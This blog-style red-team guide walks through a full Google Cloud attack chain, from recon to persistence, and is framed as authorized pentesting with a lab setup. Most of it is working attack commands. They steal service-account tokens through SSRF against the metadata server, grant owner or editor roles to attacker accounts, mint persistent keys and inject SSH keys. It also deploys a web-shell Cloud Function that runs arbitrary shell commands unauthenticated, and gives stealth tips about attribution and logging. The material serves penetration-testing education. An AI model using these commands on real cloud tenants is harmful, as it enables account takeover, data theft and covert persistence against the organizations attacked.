Google Cloud is no longer just AWS’s little sibling. It’s the backbone of YouTube, Google Workspace, and thousands of Fortune 500 environments. In 2026, GCP powers a significant chunk of enterprise infrastructure — and most red teams still don’t know how to attack it properly.
This guide fixes that. We’ll walk through a complete GCP attack chain: from passive recon through persistence, using real commands against real services. If you’ve done our AWS pentesting guide or Azure pentesting guide , this follows the same structure — but GCP has its own quirks that’ll trip you up if you treat it like AWS.
Before You Start: Legal Scope
Google’s penetration testing policy differs from AWS. Google does not require pre-authorization for pentesting GCP resources you own or have explicit written permission to test. However:
- You cannot test shared infrastructure (Cloud DNS, Cloud CDN, GFE load balancers) without permission
- DoS testing is prohibited
- Your scope must be documented — get it in writing from the asset owner
- If you’re testing a client’s GCP environment, get their account number in the authorization letter
Read the Google Cloud Acceptable Use Policy before engaging. Getting it wrong means getting called by Google’s abuse team.
Phase 1: Reconnaissance
Passive Recon — Find the GCP Footprint
Before touching anything, map the target’s GCP presence from the outside.
Find GCS buckets passively:
GCS bucket URLs follow predictable patterns: https://storage.googleapis.com/BUCKET_NAME. Start with company name variations:
# Google dorking for exposed GCS buckets
site:storage.googleapis.com "target-company"
site:storage.googleapis.com inurl:"target"
# Using GCPBucketBrute for enumeration
python3 GCPBucketBrute.py --keyword targetcompany --out results.txt
ASN and IP range mapping:
Google Cloud IPs are published. Pull them to find what the target is running:
# Download GCP IP ranges
curl -s https://www.gstatic.com/ipranges/cloud.json | jq '.prefixes[] | select(.scope=="us-central1") | .ipv4Prefix'
# Find GCP-hosted domains via reverse DNS
amass enum -d target.com -src | grep -i "google"
shodan search "org:\"Google Cloud\"" hostname:target.com
Find GCP project IDs via DNS:
GCP services often leak project IDs in DNS records, API responses, and error messages:
# Check for Firebase, App Engine, Cloud Run
dig app.target.com
# App Engine: appspot.com domains → project ID is the subdomain
# Cloud Run: run.app domains
# Look for storage buckets in HTML source
curl -s https://target.com | grep -E "storage\.googleapis\.com|\.appspot\.com"
GitHub Scanning for Leaked Credentials
Service account keys are the GCP equivalent of AWS access keys — and they leak constantly:
# Search GitHub for leaked service account keys
# (JSON files with "type": "service_account")
gh search code '"type": "service_account"' --extension json
# Using truffleHog
trufflehog github --org=targetorg --token=$GITHUB_TOKEN
# Using gitleaks
gitleaks detect --source=/path/to/cloned/repo -v
Service account key files look like this — if you find one, you’ve got initial access:
{
"type": "service_account",
"project_id": "target-project-123",
"private_key_id": "...",
"private_key": "-----BEGIN RSA PRIVATE KEY-----...",
"client_email": "[email protected]"
}
Phase 2: Initial Access
Leaked Service Account Keys
If you found a service account key file, authenticate immediately:
# Authenticate with the key file
gcloud auth activate-service-account --key-file=found-key.json
# Verify who you are
gcloud auth list
gcloud config list
# Check what project you're in
gcloud projects list
SSRF to GCP Metadata Server
GCP’s metadata server lives at 169.254.169.254 — accessible from any Compute Engine instance. If you’ve found an SSRF vulnerability in a GCP-hosted application, this is your path to credentials:
# Get instance metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Get service account access token (the crown jewel)
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Get project ID
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/project/project-id"
# Get all service accounts attached to the instance
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"
Using the stolen token:
export TOKEN="ya29.STOLEN_TOKEN_HERE"
# Use with gcloud
gcloud config set auth/access_token_file /dev/null
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects"
Exposed GCS Buckets
Misconfigured GCS buckets are gold mines. Check public read/write access:
# Check if bucket is publicly accessible
curl -s "https://storage.googleapis.com/target-bucket-name/"
# List bucket contents without authentication
gsutil ls gs://target-bucket-name/
# Check for AllUsers or AllAuthenticatedUsers ACLs
gsutil iam get gs://target-bucket-name
# Download interesting files
gsutil cp gs://target-bucket-name/config/database.yml .
gsutil cp gs://target-bucket-name/*.json .
Cloud Functions with Leaked Env Vars
Cloud Functions sometimes expose sensitive data through their configuration:
# If you have read access, dump function environment variables
gcloud functions describe FUNCTION_NAME --region=us-central1 \
--format="json" | jq '.environmentVariables'
# Invoke functions that lack authentication
curl https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME
Phase 3: Enumeration
Once you have credentials, enumerate everything before you touch anything. Noise gets you caught.
Core gcloud Enumeration
# What projects can you see?
gcloud projects list
# Set your target project
gcloud config set project TARGET_PROJECT_ID
# Who are you? What can you do?
gcloud auth list
gcloud iam service-accounts list
# List all IAM bindings on the project
gcloud projects get-iam-policy TARGET_PROJECT_ID
# What roles does your current SA have?
gcloud projects get-iam-policy TARGET_PROJECT_ID \
--format=json | jq '.bindings[] | select(.members[] | contains("YOUREMAIL"))'
Compute Instances
# List all compute instances across all zones
gcloud compute instances list
# Get instance details (check metadata, service accounts attached)
gcloud compute instances describe INSTANCE_NAME --zone=ZONE --format=json
# Check what service account is attached
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
--format="json(serviceAccounts)"
# Find instances with public IPs
gcloud compute instances list --filter="networkInterfaces[0].accessConfigs[0].natIP:*"
Storage Buckets
# List all buckets in project
gsutil ls
# Check permissions on each bucket
for bucket in $(gsutil ls); do
echo "=== $bucket ==="
gsutil iam get $bucket 2>/dev/null | grep -E "allUsers|allAuthenticatedUsers"
done
# Find buckets with sensitive names
gsutil ls | grep -E "backup|config|secret|key|credential|prod|database"
Service Accounts
# List all service accounts
gcloud iam service-accounts list
# Check keys for each service account (old keys are goldmines)
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
echo "=== $sa ==="
gcloud iam service-accounts keys list --iam-account=$sa
done
# Get roles bound to a specific service account
gcloud projects get-iam-policy PROJECT_ID \
--format=json | jq --arg sa "serviceAccount:SA_EMAIL" \
'.bindings[] | select(.members[] == $sa)'
Cloud Functions, Cloud Run, App Engine
# List Cloud Functions
gcloud functions list
gcloud functions describe FUNCTION_NAME --region=REGION
# List Cloud Run services
gcloud run services list --platform=managed
# Check if Cloud Run service allows unauthenticated access
gcloud run services describe SERVICE_NAME --region=REGION \
--format="json(status.url,spec.template.spec.containers[0].env)"
# App Engine
gcloud app services list
gcloud app versions list
Firestore / Datastore / BigQuery
# Check Firestore access
gcloud firestore databases list
# BigQuery datasets
bq ls
bq ls PROJECT_ID:
# List BigQuery tables in a dataset
bq ls PROJECT_ID:DATASET_NAME
ScoutSuite for Automated GCP Enumeration
For comprehensive enumeration, use ScoutSuite — it generates an HTML report covering the entire GCP attack surface:
pip install scoutsuite
# Authenticate first
gcloud auth application-default login
# Run ScoutSuite against GCP
scout gcp --report-dir ./scoutsuite-report \
--project-id TARGET_PROJECT_ID
# Open the report
firefox ./scoutsuite-report/scoutsuite-results/scoutsuite_results_gcp-*.html
Check for cloud pentesting tools that complement your GCP workflow.
Phase 4: Privilege Escalation
GCP IAM privilege escalation is nuanced. The key insight: if you can modify IAM policies or create/impersonate service accounts, you can escalate.
Direct IAM Escalation
# If you have resourcemanager.projects.setIamPolicy, add yourself as Owner
gcloud projects add-iam-policy-binding TARGET_PROJECT \
--member="serviceAccount:[email protected]" \
--role="roles/owner"
# Or add a user you control
gcloud projects add-iam-policy-binding TARGET_PROJECT \
--member="user:[email protected]" \
--role="roles/owner"
Service Account Key Creation
If you have iam.serviceAccountKeys.create on a privileged service account:
# Create a new key for a high-privilege service account
gcloud iam service-accounts keys create /tmp/privesc-key.json \
--iam-account=admin-sa@TARGET_PROJECT.iam.gserviceaccount.com
# Authenticate with the new key
gcloud auth activate-service-account --key-file=/tmp/privesc-key.json
Service Account Impersonation (actAs Abuse)
iam.serviceAccounts.actAs is dangerous. If your SA has this permission on a higher-privileged SA:
# Generate a token for the target SA by impersonating it
gcloud auth print-access-token \
--impersonate-service-account=[email protected]
# Use --impersonate-service-account flag in any gcloud command
gcloud storage ls --impersonate-service-account=[email protected]
Workload Identity Federation Abuse
In hybrid environments, Workload Identity Federation lets external identities assume GCP service accounts. Misconfigured attribute conditions can let you impersonate SA with tokens from GitHub Actions, AWS, or Azure:
# Check what external providers are configured
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list \
--workload-identity-pool=POOL_ID --location=global
# If using GitHub Actions provider with weak conditions
# (e.g., only checking repository but not ref/branch)
# you can create a workflow in any branch that matches
Custom Role Escalation
# Check for custom roles with dangerous permissions
gcloud iam roles list --project=TARGET_PROJECT --format=json | \
jq '.[] | select(.includedPermissions[] |
contains("setIamPolicy","actAs","keys.create"))'
Phase 5: Lateral Movement
GCP lateral movement revolves around service account impersonation and token exchange between services.
Service Account Token Exchange
# Get access token for current SA
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r '.access_token')
# Use token to access other GCP APIs directly
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://sqladmin.googleapis.com/v1/projects/PROJECT/instances"
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/PROJECT/secrets"
# List secrets (Secret Manager often has DB passwords, API keys)
gcloud secrets list
gcloud secrets versions access latest --secret=SECRET_NAME
Moving Between Projects
GCP resources often span multiple projects. Service accounts from one project may have bindings in another:
# Check all projects your current SA has access to
gcloud projects list --format="value(projectId)" | while read proj; do
result=$(gcloud projects get-iam-policy $proj 2>/dev/null | \
grep "YOUR_SA_EMAIL")
if [ -n "$result" ]; then
echo "Access to project: $proj"
echo "$result"
fi
done
Accessing Cloud SQL via Compromised SA
# If SA has cloudsql.instances.connect
gcloud sql instances list
gcloud sql connect INSTANCE_NAME --user=root
# Cloud SQL Proxy approach
cloud_sql_proxy -instances=PROJECT:REGION:INSTANCE=tcp:5432 &
psql -h 127.0.0.1 -U postgres
Pivoting via Compute Instances
# If you have compute.instances.setMetadata, inject SSH keys
gcloud compute instances add-metadata INSTANCE_NAME \
--zone=ZONE \
--metadata="ssh-keys=attacker:$(cat /tmp/attacker_rsa.pub)"
# SSH in
ssh attacker@EXTERNAL_IP
# Or use OS Login if enabled (check project metadata)
gcloud compute ssh INSTANCE_NAME --zone=ZONE --tunnel-through-iap
Phase 6: Persistence
Persistence in GCP means IAM bindings and service account keys that survive the engagement — or survive detection.
Create Long-Lived Service Account Keys
# Create a new key for a high-privilege SA
gcloud iam service-accounts keys create /tmp/persist-key.json \
--iam-account=[email protected]
# Keys don't expire by default — this is persistence
# Store offsite, activate when needed
gcloud auth activate-service-account --key-file=/tmp/persist-key.json
Add IAM Bindings to User-Controlled Account
# Add a Gmail account you control as Editor (flies under the radar)
gcloud projects add-iam-policy-binding PROJECT_ID \
--member="user:[email protected]" \
--role="roles/editor"
# Or add as a Service Account User on a high-privilege SA
gcloud iam service-accounts add-iam-policy-binding \
[email protected] \
--member="user:[email protected]" \
--role="roles/iam.serviceAccountTokenCreator"
Cloud Function Backdoor
Deploy a Cloud Function that accepts requests from outside, exfiltrates data, or executes commands:
# Create a backdoor function
cat > /tmp/backdoor/main.py << 'EOF'
import subprocess
import functions_framework
@functions_framework.http
def backdoor(request):
cmd = request.args.get('cmd', 'id')
result = subprocess.check_output(cmd, shell=True).decode()
return result, 200
EOF
# Deploy (requires cloudfunctions.functions.create)
gcloud functions deploy backdoor \
--runtime=python311 \
--trigger-http \
--allow-unauthenticated \
--region=us-central1 \
--source=/tmp/backdoor
Audit Log Evasion
# Check what's being logged
gcloud logging sinks list
# Data access logs are often disabled — read/write to GCS may not be logged
# Check org policy
gcloud logging read "protoPayload.serviceName=storage.googleapis.com" \
--limit=5 --format=json
Tools
| Tool | Use | Install |
|---|---|---|
| gcloud CLI | Primary GCP interaction | gcloud SDK |
| GCPBucketBrute | GCS bucket enumeration | pip install gcpbucketbrute |
| ScoutSuite | Automated security assessment | pip install scoutsuite |
| Pacu (GCP modules) | IAM enumeration, privesc | pip install pacu |
| gcp_enum | Fast IAM/resource enumeration | GitHub: dafthack/gcp_enum |
| truffleHog | Secret scanning in repos | pip install trufflehog |
| Cartography | GCP graph visualization | pip install cartography |
GCPBucketBrute
The go-to for bucket enumeration. Tests for public read, public write, and authenticated access:
git clone https://github.com/RhinoSecurityLabs/GCPBucketBrute
cd GCPBucketBrute
pip install -r requirements.txt
# Run against a keyword
python3 gcpbucketbrute.py --keyword targetcompany --out buckets.txt
# With authentication (tests authenticated vs public access)
python3 gcpbucketbrute.py --keyword targetcompany \
--sa-key-file /path/to/key.json --out buckets.txt
Pacu GCP Modules
Pacu added GCP support. Use it for automated IAM enumeration and privilege escalation paths:
pip install pacu
pacu
# In Pacu
set_regions us-central1
run gcp__enum_iam
run gcp__privesc_scan
Lab Setup
You need two environments: an attack machine and a target GCP project.
Attack Machine: Spin up a VPS on Vultr or DigitalOcean — a $6/month instance is plenty. Install the gcloud SDK, ScoutSuite, and the other tools listed above. Don’t run GCP attacks from your home IP if you care about attribution.
Target GCP Environment: Google offers a free tier with $300 credit. Create a fresh project, intentionally misconfigure some IAM bindings and GCS buckets, and run through this guide against your own infrastructure. It’s the fastest way to internalize the attack surface.
Books: For deeper GCP security theory, O’Reilly has solid coverage — search Amazon with tag redteamguide-20 for current recommendations.
Quick Reference: Key Permissions to Look For
When you land on a service account, immediately check for these dangerous permissions:
| Permission | Impact |
|---|---|
resourcemanager.projects.setIamPolicy | Full project takeover |
iam.serviceAccounts.actAs | Impersonate any SA in scope |
iam.serviceAccountKeys.create | Create persistent keys |
compute.instances.setMetadata | SSH key injection |
cloudfunctions.functions.create | Deploy backdoor functions |
secretmanager.secrets.access | Read all secrets |
storage.buckets.setIamPolicy | Make buckets public |
iam.roles.update | Add permissions to existing roles |
Common Mistakes Red Teams Make on GCP
- Forgetting the
Metadata-Flavor: Googleheader — the metadata server rejects requests without it - Ignoring cross-project bindings — your SA may have access to 10 other projects
- Not checking Org-level IAM — bindings at the org/folder level override project-level
- Missing Secret Manager — GCP teams store everything there; enumerate it early
- Overlooking Cloud Build — it runs with elevated SA permissions; check for build history artifacts
What’s Next
Run through the AWS pentesting guide and Azure pentesting guide if you haven’t — the three-cloud comparison accelerates your understanding of where GCP is uniquely dangerous versus where it mirrors the others.
GCP’s IAM model is the most granular of the three major clouds. That’s a feature for defenders and a puzzle for attackers. Learn the permission names. They’re your map.
Need professionally written cybersecurity content for your blog, company, or clients? CipherWrite delivers expert-level articles, whitepapers, and LinkedIn posts — written by red teamers, for red teamers.
